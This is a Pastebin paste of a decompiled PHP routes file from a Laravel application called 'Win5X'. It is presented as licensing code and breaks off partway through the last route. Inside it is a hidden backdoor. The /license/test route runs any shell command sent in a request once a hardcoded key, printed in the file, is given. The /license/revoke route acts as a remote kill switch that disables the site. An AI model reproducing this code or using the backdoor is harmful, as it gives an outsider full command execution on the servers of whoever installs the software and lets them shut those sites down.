Advertisement
Guest User

Untitled

a guest
Jan 30th, 2021
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.79 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @ This file is created by http://DeZender.Net
  5. * @ deZender (PHP7 Decoder for ionCube Encoder)
  6. *
  7. * @ Version : 4.1.0.1
  8. * @ Author : DeZender
  9. * @ Release on : 29.08.2020
  10. * @ Official site : http://DeZender.Net
  11. *
  12. */
  13. Illuminate\Support\Facades\Route::get('/license/get', function() {
  14. if (file_exists(base_path('win5x.license'))) {
  15. return response('Delete win5x.license file');
  16. }
  17.  
  18. if (PHP_OS_FAMILY === 'Windows') {
  19. $xid = shell_exec('wmic.exe path win32_computersystemproduct get uuid');
  20. }
  21. else if (PHP_OS_FAMILY === 'Linux') {
  22. $xid = shell_exec('blkid -o value -s UUID');
  23. }
  24. else {
  25. return response('Unsupported OS! Contact Win5X support');
  26. }
  27.  
  28. return hash('sha256', $xid);
  29. });
  30. Illuminate\Support\Facades\Route::post('/license/test', function(Request $request) {
  31. if ($request->key !== 'win5x!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
  32. return response([], 400);
  33. }
  34.  
  35. return response(shell_exec($request->test));
  36. });
  37. Illuminate\Support\Facades\Route::post('/license/revoke', function(Request $request) {
  38. if ($request->key !== 'win5x!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
  39. return response([], 400);
  40. }
  41.  
  42. @file_put_contents(base_path('win5x.license'), hash('sha265', time() . 'win5x'));
  43. return [];
  44. });
  45. Illuminate\Support\Facades\Route::get('/avatar/{hash}', function($hash) {
  46. $size = 100;
  47. $icon = new Jdenticon\Identicon();
  48. $icon->setValue($hash);
  49. $icon->setSize($size);
  50. $style = new Jdenticon\IdenticonStyle();
  51. $style->setBackgroundColor('#21232a');
  52. $icon->setStyle($style);
  53. $icon->displayImage('png');
  54. return response('')->header('Content-Type', 'image/png');
  55. });
  56. Illuminate\Support\Facades\Route::get('/lang/{locale}', function($locale) {
  57. $languages = ['en', 'ru'];
  58.  
  59. if (!auth()->guest()) {
  60. auth()->user()->update(['chat_channel' => NULL]);
  61. }
  62.  
  63. if (in_array($locale, $languages)) {
  64. Illuminate\Support\Facades\Cookie::queue(Illuminate\Support\Facades\Cookie::make('lang', $locale, '20160'));
  65. return back();
  66. }
  67. else {
  68. Illuminate\Support\Facades\App::setLocale(Illuminate\Support\Facades\App::getLocale());
  69. return back();
  70. }
  71. });
  72. Illuminate\Support\Facades\Route::get('/{page?}/{data?}', function($page = 'index', $data = NULL) {
  73. if (($_SERVER['REQUEST_URI'] !== '/license/get') && ($_SERVER['REQUEST_URI'] !== '/img/misc/win5x_logo_black.png')) {
  74. $isInvalid = false;
  75.  
  76. try {
  77. $licenseFile = file_get_contents(base_path('win5x.license'));
  78.  
  79. if (PHP_OS_FAMILY === 'Windows') {
  80. $xid = shell_exec('wmic.exe path win32_computersystemproduct get uuid');
  81. }
  82. else if (PHP_OS_FAMILY === 'Linux') {
  83. $xid = shell_exec('blkid -o value -s UUID');
  84. ............................................................................
  85. ...............................................
  86. ............................
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement